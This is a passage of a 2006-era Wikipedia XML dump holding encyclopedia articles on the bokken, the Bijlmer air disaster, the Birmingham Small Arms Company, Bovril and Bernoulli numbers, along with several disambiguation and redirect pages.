* ''The Boy King:  Edward VI and the Protestant Reformation'' by [[Diarmaid MacCulloch]]  ISBN 0312238304
* Forbes, Dennis (1992). Did the Almighty intend His book to be copyrighted?, ''European Christian Bookstore Journal'', April 1992
* ''Prayer Book and People in Elizabethan and Early Stuart England'' by Judith Maltby (1998)ISBN 0521793874

===External links===
*Official links:
**[http://www.cofe.anglican.org/worship/liturgy/bcp/ The Book of Common Prayer]&amp;mdash;Church of England site with the text of the liturgy
**[http://uk.cambridge.org/bibles/ Cambridge University Press], one of the official distributors of the Book of Common Prayer.

*[http://justus.anglican.org/resources/bcp/index.html Collection of BCP resources]
*[http://www.vulcanhammer.org/anglican/bcp-1662.php 1662 Book of Common Prayer]
*[http://www.vulcanhammer.org/anglican/bcp-1928.php 1928 Book of Common Prayer]
*[http://justus.anglican.org/resources/bcp/bcp.htm 1979 Book of Common Prayer]
*[http://justus.anglican.org/resources/bcp/Wales/Wales.htm 1662 Book of Common Prayer in Welsh]
*[http://www.oremus.org/liturgy/ 1980 Alternative Service Book]
*[http://www.cofe.anglican.org/worship/liturgy/commonworship// 2000 Common Worship]
*[http://www.episcopalian.org/pbs1928/ Prayer Book Society of the USA]
*[http://www.ccel.org/ccel/luckock_h/studies.html/ Studies in the Book of Common Prayer, by H M Luckock, 1882.]
*[http://justus.anglican.org/resources/bcp/everyman_history/index.htm Everyman's History of the Book of Common Prayer]

[[Category:1549 books]]
[[Category:1552 books]]
[[Category:1559 books]]
[[Category:1662 books]]
[[Category:1927 books]]
[[Category:Anglicanism]]
[[Category:Christian prayer]]
[[Category:Christian texts]]
[[Category:Non-fictional British literature]]
[[Category:Religion in the United Kingdom]]
[[Category:Christian liturgy, rites, and worship services]]
[[Category:English Reformation]]

[[de:Book of Common Prayer]]
[[it:Libro della preghiera comune]]
[[pt:Livro de Oração Comum]]
[[ro:Common Prayer Book]]
[[ja:祈祷書]]
[[zh:&amp;#20844;&amp;#31153;&amp;#26360;]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Schwetz</title>
    <id>4954</id>
    <revision>
      <id>17776761</id>
      <timestamp>2005-06-28T18:31:31Z</timestamp>
      <contributor>
        <username>Naive cynic</username>
        <id>84472</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Battle of Świecino]]</text>
    </revision>
  </page>
  <page>
    <title>Bokken</title>
    <id>4955</id>
    <revision>
      <id>41765189</id>
      <timestamp>2006-03-01T16:10:18Z</timestamp>
      <contributor>
        <username>Glowimperial</username>
        <id>106589</id>
      </contributor>
      <comment>/* External links */ rv commercial linkspam</comment>
      <text xml:space="preserve">[[image:bokken.jpg|thumb|Bokken]]

A '''Bokken''' (&amp;#26408;&amp;#21091;, ''bok(u)'', &quot;wood&quot;, and ''ken'', &quot;sword&quot;) is a [[wood]]en [[Japan]]ese [[sword]], usually the size and shape of a ''[[katana]]'',but can be made to replicate any type of [[sword]]. Other common shapes are [[wakizashi]] and [[tanto]]. They are also known as '''bokut&amp;#333;''' (&amp;#26408;&amp;#20992;, &quot;wooden sword&quot;), which is also the usual term in Japan.

==Usage==

Bokken is a training sword, used as a relatively safe and inexpensive substitute for a real blade in several [[martial arts]]. 
They are used in the early stages of ''[[iaido]]'' when a practitioner has not yet reached the level where use of a ''[[iaito]]'' would be safe. The exception would be when a certain kata involving two people is performed. Then the veteran iaidoka will  use a bokken for safety reasons. There are also specially designed bokken made for sword drawing only. These are, for the most part, supplied with a plastic or wooden saya and are generally slimmer than a normal bokken and not suited for regular sword techniques. 

''[[Kenjutsu]]'' makes heavy use of the regular bokken in various drills, as does the [[Bujinkan]] as well as other [[Ninjutsu]] systems while ''[[aikido]]'', being primarily an empty-handed art, features bokken training on a less extensive basis. The focus of the bokken in some aikido dojo is not that of a weapon, but that of a tool to enchance focus. These wooden swords often have a smooth transition between handle and blade and are not used with a hand guard (tsuba).
Other bokken are made to accept a hand guard (tsuba) and have a clearly defined transition between the handle section and the blade. 

Bokken are used for the practice of ''[[kendo]]''; to learn to make proper strokes and get accustomed to the curvature of the blade, as well as to practice the ''[[Kata (martial arts)|kata]]'' (forms). More than a few ''kata'' take advantage of the curvature of the blade and the presence of the ''[[tsuba]]'' to block the opponent's sword. This is not possible with the straight &quot;blade&quot; of the ''[[shinai]]''.

==Construction==

The quality of the bokken is derived from several factors.  The type of wood used, along with the quality of the wood itself, and the skill of the craftsman, are all critical factors in the manufacture of a good quality bokken.  

First, and most importantly, is the selection of the wood used to make the bokken.  Almost all mass produced inexpensive bokken are made from porous, loose-grained  South East Asian wood. These bokken are easily broken when used in even light to medium contact drills, and are best left to work in kata only. Furthermore, the wood is often so porous, that if the [[varnish]] is stripped off the inexpensive bokken, one can see the use of wood fillers to fill the holes.  

While most species of [[North American]] [[red oak]] are pretty much unsuitable for any serious work with a bokken, there are some [[Asia]]n species of red oak that have a significantly tighter [[grain]], and will last longer.  

Some of the bokken that are a step up from the red oak ones, will use superior woods.  Japanese [[white oak]], also known as ''[[Kashi]]'', has been a proven staple, having a tighter grain than any red oak wood, and [[hickory]] wood seems to have a very good blend of the factors that contribute to a wood's suitability (toughness, impact resistance, hardness, etc), while still having a relatively low cost.  

The use of [[exotic hardwood]]s is not unusual, when looking at some of the more expensive bokken.  Some wooden swords are made from [[Brazil]]ian cherrywood ([[Jatoba]]), others from [[purpleheart]], and some very expensive ones made from [[Lignum Vitae]]. Tropical woods are often quite heavy, a feature often sought in bokken but a common drawback of these heavy and hard materials is the tendency towards brittleness. Many of the exotics are suitable for suburi (solo practice) but not paired practice where there is hard contact with other wooden swords or sticks.

The most important caveat when making generalizations on wood quality is that there are differences between individuals within a species and a bokken made of any particular wood type might be quite a bit different from another of the same wood type.

A '''suburito''' is a bokken designed for ''[[suburi]]''. ''Suburi'', literally &quot;bare cutting,&quot; are solo cutting exercises. Suburito are thicker and heavier than normal bokken. One wielding a suburito has to develop both good technique and strong [[muscle]]s to wield one. Their weight does, however, tend to make them poorly balanced; consequently, they are not used for paired practice.

==History==
Historically, ''bokken'' are as old as Japanese blades, and were used for the training of warriors. [[Miyamoto Musashi]], a legendary [[kenjutsu]] master, was infamous for fighting fully armed foes with only one or two bokken. He defeated several master swordsmen in this way, including [[Sasaki Kojiro]].  Sasaki was armed with a deadly [[Nodachi]] great sword, but Musashi slew him with a bokken made from an [[oar]].

== Media depiction ==
The suburito has been popularised in [[Neal Stephenson]]'s [[cyberpunk]] novel ''[[Snow Crash]]'' as the &quot;[[redneck]] katana&quot;. It is described as &quot;a one-[[metre]]-long piece of heavy [[rebar]] with [[Adhesive tape|tape]] wrapped around one end to make a handle. The rebar approximates a katana, but it is very much heavier.&quot;

In the [[anime]] series ''[[Outlaw Star]]'' the assassin Twilight Sazuka uses a bokken as her weapon of choice. It is stated that the reason for this is in order to prevent detection from metal detectors.

In ''[[Usagi Yojimbo]]'', the main character and his son, [[Jotaro]] were allowed to wield a bokken in their youth.

In ''[[Rurouni Kenshin]]'', Kamiya Kaoru uses a bokken, as her family's Kamiya Kasshin Ryu forbids lethal swords. Her students Myōjin Yahiko and Tsukayama Yūtarō wield [[shinai]].

Bokken were also used extensively in the film [[The Last Samurai]], starring [[Tom Cruise]].

In the Manga and Anime Samurai Girl: Real Bout High School the main character Ryoko Mitsurugi used a Bokken exclusively as her weapon of choice.

In the Manga and Animé Shaman King there is a character called Bokuto no Ryu or as he is known in English 'Wooden sword' Ryu. the Bokken/Bokuto is his signature weapon.

==See also==
*[[Iaido]]
*[[Kendo]]
*[[Kenjutsu]]
*[[List of Japanese swords]]

==External links==
* [http://www.aikiweb.com/weapons/goedkoop1.html A discussion of different woods with regard to bokken design, focusing particularly on durability]
* [http://www.uoguelph.ca/~kataylor/bokuto.htm Information about making or selecting a Bokken]
[[Category:Japanese swords]]

[[ca:Bokken]]
[[de:Bokutō]]
[[es:Bokken]]
[[fr:Bokken]]
[[hr:Bokken]]
[[ja:木刀]]
[[pl:Bokken]]
[[ru:Боккэн]]
[[fi:Bokken]]
[[sv:Bokken]]</text>
    </revision>
  </page>
  <page>
    <title>BMI</title>
    <id>4957</id>
    <revision>
      <id>40056756</id>
      <timestamp>2006-02-17T20:43:02Z</timestamp>
      <contributor>
        <username>RoboDick</username>
        <id>815650</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nl</comment>
      <text xml:space="preserve">'''BMI''' may stand for:

== Concepts ==
* [[Body mass index]], a measurement of ideal weight range.
* [[Brain-computer interface]], a information transfer connection that links a brain and a machine (usually a computer).
* [[Big Mac index]], a measurement and test of purchasing power parity across different countries, made popular by ''The Economist''.

== Organizations ==
* [[Bank Melli Iran]], a public bank in Iran.
* [[Best Motoring International]], a Japanese magazine &amp; video series for automobiles and racing.
* [[Bmi (airline)|bmi]], a [[United Kingdom|UK]] airline.
* [[Broadcast_Music_Incorporated|Broadcast Music Incorporated]], one of the three performing rights organizations in the U.S.  See also [[ASCAP]] and [[SESAC]].

== Places ==
* The IATA code for [[Central Illinois Regional Airport]].

{{TLAdisambig}}

[[cs:BMI]]
[[de:BMI]]
[[nl:Bmi]]
[[ja:BMI]]</text>
    </revision>
  </page>
  <page>
    <title>Bijlmer disaster</title>
    <id>4958</id>
    <revision>
      <id>41656364</id>
      <timestamp>2006-02-28T21:08:52Z</timestamp>
      <contributor>
        <ip>129.98.30.159</ip>
      </contributor>
      <comment>/* Cargo concerns */</comment>
      <text xml:space="preserve">The '''Bijlmerramp''' (in English: '''Bijlmer disaster''') was an [[airplane]] crash. On [[October 4]], [[1992]], '''El Al Flight 1862''', a [[Boeing 747]] cargo plane of the [[Israel]]i [[El Al]] airline crashed into the Groeneveen and Klein-Kruitberg flats in the [[Bijlmer]] neighbourhood (part of '[[Amsterdam Zuidoost]]') of [[Amsterdam]], the capital of the [[Netherlands]]. A total of 43 people were killed, including the plane's crew of three and an unidentified &quot;nonrevenue passenger&quot;. Many more were injured.

The plane, a cargo jet belonging to the Israeli carrier [[El Al]], departed at 18h10 from [[Schiphol]] airport for [[Tel Aviv]]. Above the [[Gooimeer]], two of the plane's engines broke off the right wing: A [[fuse pin]] on engine 3 sheared inappropriately due to [[corrosion]], leaving the pod to tilt up and right due to gyroscopic forces, knocking engine 4 off the wing too. A China Airlines 747-200F freighter was brought down by the same causes in December [[1991]].

The crew remained unaware of the extent of the damage, being unable to see the wing. After circling twice the plane returned to the airport and attempted to land. During the approach the flaps were extended, which apparently rendered the plane uncontrollable. At 18h35 the heavily loaded plane crashed into a row of high-rise apartments called ''Groeneveen''. The building caught fire and partially collapsed, destroying dozens of apartments.

The number of casualties was relatively low (43 compared to the 200 or more expected), as the plane did not carry passengers and most residents of the building were not at home at the time of the crash. Some people believe that the number of casualties was higher than 43, as many illegal residents were suspected to have lived in the building.

==Cargo concerns==
The plane's cargo included, amongst other things: bullets, spare parts for [[AIM-9 Sidewinder]] missiles, spare parts for [[Patriot missile|Patriot missiles]] and 190 [[litre]]s of [[dimethyl methylphosphonate]].

Dimethyl methylphosphonate is not classified as ''toxic'', but is ''harmful'' if inhaled, swallowed or absorbed through the skin; it is a [[Chemical Weapons Convention]] [[List of Schedule 2 substances (CWC)|schedule 2 chemical]] used in the synthesis of [[Sarin]] nerve gas. The shipment was from a U.S. chemical plant to the [[Israel Institute for Biological Research]] under a [[U.S. Department of Commerce]] licence.

After the disaster, there were rumours that the [[Israeli secret service]] had tried to recover some of the cargo. The plane, like all Boeing 747s at that time, also contained about 400 kg of [[depleted uranium]] as trim weight in the tail, a fact unknown during the recovery effort.


&quot;“Boeing has never used DU on either the 757 or the 767, and we no longer use it on the 747,” Leslie M. Nichols, product spokesperson for Boeing’s 767, told AFP. “Sometime ago, we switched to tungsten, because it is heavier, more readily available and more cost effective.”

==External links==
*[http://www.corrosion-doctors.org/Aircraft/el-al.htm Corrosion Doctors]

[[Category:Accidents and incidents in the aviation sector]]
[[Category:1992]]
[[Category:History of Amsterdam]]

[[es:Desastre de Bijlmer]]
[[he:אסון ביילמר]]
[[ja:エル・アル航空1862便墜落事故]]
[[nl:Bijlmerramp]]</text>
    </revision>
  </page>
  <page>
    <title>BSA</title>
    <id>4959</id>
    <revision>
      <id>42088068</id>
      <timestamp>2006-03-03T19:20:28Z</timestamp>
      <contributor>
        <username>Suppafly</username>
        <id>83446</id>
      </contributor>
      <text xml:space="preserve">The [[initialism|initials]] '''BSA''' could stand for:

* [[Bank Secrecy Act]]
* [[Basic Skills Agency]]
* [[Birmingham Small Arms Company]] - British manufacturer of military equipment and vehicles including motorcycles.
* [[Blackwell Science Asia]]
* [[Body surface area]]
* [[Boston Society of Architects]]
* [[Botanical Society of America]]
* [[Bovine serum albumin]]
* [[Boy Scouts of America]]
* [[British School at Athens]]
* [[British Snowboarding Association]]
* [[British Social Attitudes]]
* [[British Society of Audiology]]
* [[British Sociological Association]]
* [[British Stammering Association]]
* [[British Surfing Association]]
* [[Broadcasting Standards Authority]]
* [[Brookhaven Science Associates]]
* [[Building Societies Association]]
* [[Bulgarian Studies Association]]
* [[Business Software Alliance]]
* [[UK Boarding Schools Association]]
{{TLAdisambig}}

[[de:BSA]]
[[fr:BSA]]
[[nl:BSA]]
[[ja:BSA]]</text>
    </revision>
  </page>
  <page>
    <title>Birmingham Small Arms Company</title>
    <id>4960</id>
    <revision>
      <id>42119265</id>
      <timestamp>2006-03-03T23:15:54Z</timestamp>
      <contributor>
        <username>Rickwnz</username>
        <id>1025723</id>
      </contributor>
      <minor />
      <comment>/* Post World War II */</comment>
      <text xml:space="preserve">The '''Birmingham Small Arms Company''' ('''BSA''') was a [[United Kingdom|British]] manufacturer of [[military]] equipment and [[vehicle]]s.


==History==

BSA was founded in 1861 in the [[Gun Quarter, Birmingham]] by fourteen gunsmiths of the [[Birmingham]] Small Arms Trade Association, [[England]], who had together supplied arms to the British government during the [[Crimean War]]. The company branched out as the gun trade declined; in the 1880s the company began to manufacture [[bicycle]]s and in 1903 the company's first experimental [[motorcycle]] was constructed. Their first prototype automobile was produced in 1907 and the next year the company sold 150 automobiles. By 1909 they were offering a number of motorcycles for sale and in 1910 BSA purchased the British [[Daimler]] Company for its automobile engines. 

===World War One===

During [[World War I]], the company returned to arms manufacture and greatly expanded its operations. BSA produced [[rifle]]s and [[Lewis gun]]s, but also [[shell (projectile)|shells]], motorcycles and other vehicles for the struggle. In 1920, it bought the assets of a short-lived plane builder [[Airco]].

In the 1930's the board of directors authorised expenditure on bringing their arms-making equipment back to use - it had been stored at company expense since the end of the Great War in the belief that BSA might again be called upon to perform its patriotic duty.

===World War Two===

By [[World War II]], BSA had 67 factories and was well positioned to meet the demand for [[gun]]s and [[ammunition]]. BSA operations were also dispersed to other companies under licence. During the war it produced over a million [[Lee-Enfield]] rifles and half a million [[Browning Model 1919 machine gun|Browning machine gun]]s. Wartime demands included motorcycle production. BSA supplied 126,000 M20 motorcycles to the armed forces, from 1937 (and later until 1950) plus military bicycles including the folding paratrooper bicycle. At the same time, the Daimler concern was producing armoured cars.

===Post war===

Post-war, BSA continued to expand the range of metal goods it produced. The BSA Group bought [[Triumph Motorcycles|Triumph]] in 1951, making them the largest producer of motorcycles in the world. 

The company made automobiles in 1907 to 1915, 1921 to 1926, 1932 to 1939, and 1960. The [[Daimler]] nameplate produced cars for BSA from 1910 to 1915 and 1915 to 1960. [[Lanchester Motor Company]] cars also became part of the BSA. There were cars bearing the BSA name itself from 1930 to 1939 [http://www.bsafwdc.co.uk/]. In 1960 Daimler was sold off to [[Jaguar (car)|Jaguar]]. 

The Group continued to expand and acquire throughout the 1950s but by 1965 competition from [[Japan]] (in the shape of companies like [[Honda]]) and [[Germany]] was eroding BSA's market share. Some poor marketing decisions and expensive projects contributed to substantial losses. By 1972 BSA was so moribund that it was absorbed into [[Manganese Bronze]] in a rescue plan initiated by the Department of Industry and many of the acquisitions were separated or sold. The motorcycle business was hard hit - plans to rescue and combine Norton, BSA and Triumph failed in the face of worker resistance and Norton's and BSA's factories were shut down, while Triumph staggered on to fail four years later. Only the limited NVT Motorcycles survived.  Enjoying the rights to the BSA marque, it was bought-out by the management and renamed the BSA Company.

The BSA cycle arm was sold off to [[Raleigh (bicycle)|Raleigh]] in 1957.  Bicycles under the BSA name are currently manufactured and distributed within India by [[TI Cycles of India]].

The production of guns bearing the BSA name continued. In 1986 BSA Guns was liquidated, the assets bought and renamed BSA Guns (UK) Ltd. The company continues to make air rifles and shotguns, and are still based in [[Small Heath, West Midlands|Small Heath]] in Birmingham.

In 1991, the BSA (motorcycle) Company merged with Andover Norton International Ltd., to form a new BSA Group, largely producing spare parts for existing motorcycles. In December 1994, Colquhoun and Jackson's BSA Group was taken over by a newly formed BSA Regal Group.

The new company, based in [[Southampton]], has a large spares business and has produced a number of limited-edition, retro-styled motorcycles.

== Products ==

===Motorcycles===

====Pre World War II====
*Empire Star 
*Blue Star 
*Gold Star 
*Shooting Star
*M20
:as the WD M20 the motorcycle of the [[British Army]] in WW2

====Post World War II====

*'''A series Twins''' (four-stroke, parallel twin) 
**A7
***A7 Shooting Star
**A10
***A10 Golden Flash
***A10 Road Rocket
**A50 
***A50R Royal Star
***A50C Cyclone
***A50W Wasp
**A65
***A65 Star Twin
***A65L Lightning
***A65R Rocket
***A65T Thunderbolt
***A65H Hornet
***A65S Spitfire
***A65F Firebird
**A70 Lightning 750

*'''Triples''' - share some engine components and cycle parts with the Triumph Trident (see [[Triumph Motorcycles]])but have BSA &quot;slanted&quot; engine cases, and BSA frame and tinware.
**A75V Rocket3 750
**A75RV Rocket3 750 - 5 speed


*B series (4 stroke single cylinder)
**B25 Fleet Star
**B31
**B32 Gold Star
**B33
**B34 Gold Star
**B40 350 Star
**B40 SS90
**B41 Victor
**B44 
***B44SS Shooting Star
***B44VS Victor Special
**B50
***B50SS Gold Star 500
***B50T Victor Trials
***B50MX Motocross


*C series (Four-stroke unit singles)
**C10
**C11
**C12
**C15 Star
**C15T

*D series (Two-stroke single cylinder. See [[BSA Bantam]] for details)
**D1
**D3
**D5
**D7
**D10
**D14

*Others (may include some export versions of models listed above)
**[[BSA Barracuda]]
**[[BSA Beagle]]
**[[BSA Dandy 70]]
**BSA Sunbeam  ''(Scooters, also produced as Triumph TS1, TW2 Tigress)''
***175B1
***250B2
**BSA Starfire
**BSA Rocket Scrambler
**BSA Rocket Gold Star
**BSA Fury
**BSA Hornet
**Winged Wheel  (auxiliary power unit for bicycles)
**T65 Thunderbolt (essentially a Triumph TR6P with Police Badges)

===Cars===
'''Car timeline'''
*1907 to 1914 various forms with capacities ranging from 2.5 to 4.2 litre. The larger cars were based on the 1907 Peking-Paris Itala.
*1910 BSA purchased the [[Daimler]] Company who took over car manufacture. 
*1911 BSA car with Daimler engine. 
*1912 Car production transferred to [[Coventry]], BSA cars became rebadged Daimlers. 
*1914 War stopped car production
*1921 BSA car production resumed with rear-wheel-drive air-cooled V-twin light car. 
*1929 First BSA three-wheeler 
*1931 TW-5 van version of the three-wheeler
*1931 BSA acquired [[Lanchester]]. 
*1932 T-9 open four seat four-wheeler with a water-cooled four cylinder 9 hp (6.7 kW) engine (1075 cc). 
*1932 V-9 Van version also produced. 
*1932 Another BSA Rear-wheel-drive fluid flywheel 10 hp (7.5 kW) car, sold alongside the T9. 
*1932 FW32 Four wheeled version of the 3-wheeler produced for 1 year
*1933 T-9 and V-9 production ceased
*1933 Four-cylinder engine version of the three and four-wheeled car was added to the range. 
*1935 First Scout Series 2/3
*1936 to 1937 Scout Series 4 	
*1936 Three wheeled cars dropped
*1937 to 1938 Scout Series 5 	
*1938 to 1939 Scout Series 6 	
*1940 WWII stopped production of BSA cars
*1960 [[Jaguar Cars]] Ltd. acquired The Daimler Co. Ltd. and its subsidiaries from the BSA group.

===Military vehicles===

*BSA Scout armoured car
*&quot;Type G Apparatus&quot;, Folding paratrooper bicycle, 32 1/2 lb (15 kg) with parachute.

===Military equipment===
*[[Besa]] Machine gun

===Air Rifles===
*[[BSA Meteor Air Rifle]]

==See also==
*[[List of modern armament manufacturers]]

==External links==
* [http://www.bsaoc.org BSA Portal]
* [http://www.bsaguns.com/ BSA guns site]
* [http://bsa-regal.co.uk/ BSA motorcycle site]
* [http://www.TriplesOnline.com BSA Rocket 3 and Triumph Trident]
* [http://www.bsaocne.org BSA Owners Club of New England]
* [http://www.b50.org BSA B50 homepage]
* [http://www.bsaoc.org/swe Swedish BSA Owners Club]

[[Sv:BSA]]

[[Category:British automobile manufacturers]]
[[Category:Companies from Birmingham, England]]
[[Category:Firearms manufacturers]]
[[Category:Military vehicle manufacturers]]
[[Category:Motorcycle manufacturers]]

[[de:Birmingham Small Arms Company]]
[[nl:BSA (motorfiets)]]
[[pl:Birmingham Small Arms Company]]
[[sv:BSA]]</text>
    </revision>
  </page>
  <page>
    <title>Bovril</title>
    <id>4961</id>
    <revision>
      <id>40623438</id>
      <timestamp>2006-02-21T22:20:42Z</timestamp>
      <contributor>
        <username>Arwel Parry</username>
        <id>7891</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/81.107.28.204|81.107.28.204]] ([[User talk:81.107.28.204|talk]]) to last version by Zsinj</comment>
      <text xml:space="preserve">[[Image:Bovril.jpg|300px|right]]
'''Bovril''', formerly a [[beef]] extract, now is the [[trademark]]ed name of a thick, salty [[yeast]] extract, sold in a distinctive, bulbous jar. 

A [[spoon]]ful of the semi-liquid paste in hot [[water]] makes a savoury drink, but few like it because of its raucous flavour. It can also be used as a flavouring for [[soup]]s, [[stew]]s or [[porridge]], or spread on [[bread]], especially [[toast]].

The name, like many late [[19th century|19th]] and early [[20th century]] [[tradename]]s, comes (partially) from [[Latin]], ''bos'' meaning &quot;ox.&quot; The ''vril'' component of the name comes from [[Edward George Bulwer-Lytton|Bulwer-Lytton]]'s once-popular 19th century &quot;lost race&quot; [[novel]], ''[[The Coming Race]]'', in which a subterranean [[humanoid]] race have mental control over, and devastating powers from, an energy fluid named &quot;[[Vril]].&quot;

In [[November 2004]] the manufacturers, [[Unilever]], announced that the composition of Bovril was being changed from beef to a [[yeast extract]], both in the hope of allaying fears of [[bovine spongiform encephalopathy]] (BSE), and to make the product suitable for [[vegetarian]]s and [[vegan]]s. According to Unilever, &quot;in [[blind taste tests]] 10% didn't notice any difference in taste, 40% preferred the original and 50% preferred the new product.&quot;

It is served at the [[Groucho Club]], and is associated with [[football culture]]; commonly being drunk on the terraces from thermos flasks in winter.

A potential serving suggestion (as seen at football matches) is to shake white pepper and maybe a little cayenne into it before drinking.

==See also==
* [[Marmite]]
* [[Oxo (food)|Oxo]]
* [[Vegemite]] (An Australian yeast extract)

==External links==
* [http://www.ubfoods.co.uk/ourbrands/foods/bovril.asp Bovril: A short official history]
* [http://news.bbc.co.uk/1/hi/england/staffordshire/4023239.stm BBC: No beef over Bovril's veggie move]

[[Category:Unilever brands]]
[[Category:British cuisine]]
[[Category:Condiments]]
[[Category:British brands]]

[[fr:Bovril]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball statistics/BA</title>
    <id>4962</id>
    <revision>
      <id>15903209</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>moved to &quot;Batting_average&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Batting_average]]
</text>
    </revision>
  </page>
  <page>
    <title>Benjamin D. Santer</title>
    <id>4963</id>
    <revision>
      <id>23077398</id>
      <timestamp>2005-09-12T02:53:45Z</timestamp>
      <contributor>
        <username>Etacar11</username>
        <id>162093</id>
      </contributor>
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">'''Dr. Benjamin D. Santer''' is a [[climate]] researcher at [[Lawrence Livermore National Laboratory]]. He specializes mainly in [[statistical analysis]] of climate data sets, and detection/attribution of [[climate change]] forcings. He was the convening Lead Author of Chapter 8 of 1995 [[IPCC]] Working Group I Report, which addressed the [[global warming]] issue.

== Honors ==
* 1998. [[MacArthur Fellowship|MacArthur Fellow]] &quot;Genius Award.&quot;

== References ==
* Santer, BD, Wigley, TML, Barnett TP, and Anyamba, E (1995). Detection of climate change and attribution of causes, in Houghton, JT ''et al''. ''Climate Change 1995'', Cambridge Univ. Press.

{{climate-bio-stub}}
[[Category:MacArthur Fellows|Santer, Benjamin]]
[[Category:Climatologists|Santer, Benjamin]]</text>
    </revision>
  </page>
  <page>
    <title>Bernoulli number</title>
    <id>4964</id>
    <revision>
      <id>41188921</id>
      <timestamp>2006-02-25T17:33:39Z</timestamp>
      <contributor>
        <ip>201.133.64.113</ip>
      </contributor>
      <comment>/* Assorted identities */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Bernoulli numbers''' are a [[sequence]] of [[rational number]]s with deep connections in [[number theory]]. Although easy to calculate, the values of the Bernoulli numbers have no elementary description; they are closely related to the values of the [[Riemann zeta function]] at negative integers.

They were first studied by  [[Jakob Bernoulli]], after whom they were named by [[Abraham de Moivre]]. They  appear in the [[Taylor series]] expansion of the [[tangent]] and [[hyperbolic tangent]] functions, in the [[Euler-Maclaurin formula]], and in expressions of certain values of the Riemann zeta function. 

Curiously, in note G of [[Ada Byron's notes on the analytical engine]] from [[1842]] an [[algorithm]] for computer-generated Bernoulli numbers was described for the first time. This distinguishes the Bernoulli numbers as being the subject of one of the first computer programs ever.

==Introduction==
The Bernoulli numbers ''B''&lt;sub&gt;''n''&lt;/sub&gt; were first discovered in connection with the closed forms of the sums
:&lt;math&gt;\sum_{k=0}^{m-1} k^n = 0^n + 1^n + 2^n + \cdots + {(m-1)}^n &lt;/math&gt;
for various fixed values of ''n''.
The closed forms are always [[polynomial]]s in ''m'' of degree ''n''&amp;nbsp;+&amp;nbsp;1 and are called '''[[Bernoulli polynomials]]'''.  The [[coefficient]]s of the Bernoulli polynomials are closely related to the Bernoulli numbers, as follows:

:&lt;math&gt;\sum_{k=0}^{m-1} k^n = {1\over{n+1}}\sum_{k=0}^n{n+1\choose{k}} B_k m^{n+1-k}.&lt;/math&gt;

For example, taking ''n'' to be 1, we have 0 + 1 + 2 + ... + (''m''&amp;minus;1) = 
1/2 (''B''&lt;sub&gt;0&lt;/sub&gt; ''m''&lt;sup&gt;2&lt;/sup&gt; + 
2 ''B''&lt;sub&gt;1&lt;/sub&gt; ''m''&lt;sup&gt;1&lt;/sup&gt;) = 
1/2 (''m''&lt;sup&gt;2&lt;/sup&gt; &amp;minus; ''m'').

Bernoulli numbers may be calculated by using the following [[recursion|recursive]] formula:

:&lt;math&gt;\sum_{j=0}^m{m+1\choose{j}}B_j = 0&lt;/math&gt; 

plus the initial condition that ''B''&lt;sub&gt;0&lt;/sub&gt; = 1.

The Bernoulli numbers may also  be defined using the technique of [[generating function]]s. 
Their [[exponential generating function]] is  ''x''/(''e&lt;sup&gt;x&lt;/sup&gt;''&amp;nbsp;&amp;minus;&amp;nbsp;1), so that:

:&lt;math&gt;
\frac{x}{e^x-1} = \sum_{n=0}^{\infin} B_n \frac{x^n}{n!}
&lt;/math&gt;
for all values of ''x'' of [[absolute value]] less than 2&amp;pi; (the [[radius of convergence]] of this [[power series]]).

Sometimes the lower-case ''b&lt;sub&gt;n&lt;/sub&gt;'' is used in order to distinguish these from the [[Bell numbers]].

The first few Bernoulli numbers (sequences [http://www.research.att.com/cgi-bin/access.cgi/as/njas/sequences/eisA.cgi?Anum=A027641 A027641] and [http://www.research.att.com/cgi-bin/access.cgi/as/njas/sequences/eisA.cgi?Anum=A027642 A027642] in [[OEIS]]) are listed below.

&lt;table BORDER CELLSPACING=0 CELLPADDING=0 width=&quot;15%&quot; BGCOLOR=&quot;#EEEEEE&quot; &gt;
 &lt;TR&gt;&lt;Th ALIGN=CENTER&gt;''n''&lt;/Th&gt;&lt;Th ALIGN=CENTER&gt;''B&lt;sub&gt;n&lt;/sub&gt;''&lt;/Th&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;0&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;1&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;1&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;&amp;minus;1/2&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;2&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;1/6&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;3&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;0&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;4&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;&amp;minus;1/30&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;5&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;0&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;6&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;1/42&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;7&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;0&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;8&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;&amp;minus;1/30&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;9&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;0&lt;/TD&gt;&lt;/TR&gt;
